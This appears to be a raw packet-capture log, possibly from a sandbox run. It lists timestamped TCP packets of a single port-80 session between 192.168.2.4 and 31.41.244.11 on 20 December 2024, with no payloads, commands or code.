Dec 20, 2024 09:12:59.221405029 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.221426010 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.221472979 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.222387075 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.222454071 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.222481966 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.222532988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.223407030 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.223521948 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.223529100 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.223803997 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.224447966 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.224575043 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.224597931 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.224647045 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.225548029 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.225646019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.225646973 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.225738049 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.226547956 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.226650000 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.226660967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.226924896 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.227643013 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.227715015 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.227747917 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.227802038 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.228660107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.228779078 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.228909016 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.229739904 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.229893923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.229911089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.230065107 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.230767965 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.230820894 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.230887890 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.230983019 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.231820107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.231878042 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.231923103 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.232842922 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.232880116 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.232933044 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.232959986 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.233064890 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.234103918 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.234200954 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.234215975 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.234261036 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.234982967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.235070944 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.235099077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.235146046 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.236026049 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.236134052 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.236156940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.236331940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.237047911 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.237147093 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.237155914 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.237204075 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.238078117 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.238147020 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.238154888 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.238234997 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.239121914 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.239175081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.239227057 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.239301920 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.240202904 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.240317106 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.240319014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.240380049 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.241259098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.241367102 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.241386890 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.241403103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.242314100 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.242439985 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.242466927 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.242480040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.243330956 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.243387938 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.243453979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.243539095 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.244407892 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.244476080 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.244771957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.244929075 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.245421886 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.245481014 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.245541096 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.245594978 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.246474981 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.246633053 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.246675968 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.247538090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.247622013 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.247725010 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.385771036 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.385869980 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.385924101 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.385970116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.386158943 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.386224031 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.386354923 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.386482954 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.387221098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.387334108 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.387383938 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.388274908 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.388339043 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.388406992 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.388448954 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.389316082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.389431000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.389496088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.390377998 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.390477896 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.390546083 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.391403913 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.391465902 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.391518116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.392472029 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.392538071 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.392570019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.392613888 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.393524885 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.393637896 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.393698931 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.394571066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.394694090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.394737005 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.394769907 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.395622969 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.395756006 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.395811081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.396678925 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.396723032 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.396761894 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.396856070 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.397703886 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.397758961 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.397814035 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.397862911 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.398744106 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.398813009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.398869038 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.398911953 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.399807930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.399858952 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.399919033 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.400041103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.400849104 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.400897026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.400952101 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.400991917 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.401902914 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.402010918 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.402045965 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.402091026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.402940035 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.402997017 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.403036118 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.403081894 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.404004097 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.404053926 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.404093027 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.404136896 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.405061007 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.405106068 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.405170918 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.405299902 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.406105042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.406227112 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.406249046 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.406275988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.407159090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.407282114 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.407463074 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.408185005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.408242941 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.408298969 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.408339977 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.409259081 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.409324884 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.409410000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.409455061 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.410301924 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.410362959 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.410389900 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.410445929 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.411356926 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.411464930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.411508083 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.412384987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.412434101 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.412497044 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.412540913 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.413439035 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.413486958 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.413562059 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.413703918 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.414479971 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.414604902 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.414657116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.415560007 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.415678978 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.415690899 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.415724039 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.416599989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.416656017 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.416735888 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.417643070 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.417717934 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.417732000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.417774916 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.418687105 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.418802023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.418857098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.419758081 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.419819117 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.419857979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.419899940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.420830965 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.420927048 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.420975924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.421827078 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.421875000 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.421941042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.421983957 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.422928095 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.423032999 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.423038960 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.423082113 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.423932076 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.423988104 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.424036026 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.424679995 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.425004005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.425060034 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.425136089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.425534010 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.426048994 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.426155090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.426208019 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.427133083 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.427248001 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.427273989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.427319050 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.428116083 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.428169012 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.428232908 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.428278923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.429187059 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.429240942 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.429851055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.429920912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.430351019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.430447102 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.430458069 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.430592060 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.431263924 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.431389093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.431448936 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.432307005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.432404041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.432571888 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.433474064 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.433523893 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.433609009 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.433656931 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.434426069 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.434573889 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.434619904 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.435457945 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.435590982 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.435648918 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.436546087 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.436595917 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.436630011 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.436705112 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.437571049 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.437680006 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.437753916 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.438606977 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.438663960 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.438724041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.438771009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.439687014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.439728975 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.439766884 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.439846039 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.440690994 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.441365004 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.578119993 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.578392982 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.578425884 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.578439951 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.578592062 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.578635931 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.578813076 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.578989029 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.579722881 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.579771996 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.579799891 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.579849005 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.580684900 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.580741882 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.580773115 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.580851078 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.581749916 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.581856966 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.582142115 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.582784891 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.582837105 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.582901955 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.582984924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.583863974 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.583975077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.584026098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.584888935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.584940910 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.585002899 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.585052967 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.585998058 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.586014032 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.586056948 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.586078882 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.586980104 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.587014914 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.587064028 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.588025093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.588076115 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.588093996 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.588124037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.589107037 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.589227915 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.589273930 CET	49899	80	192.168.2.4	31.41.244.11
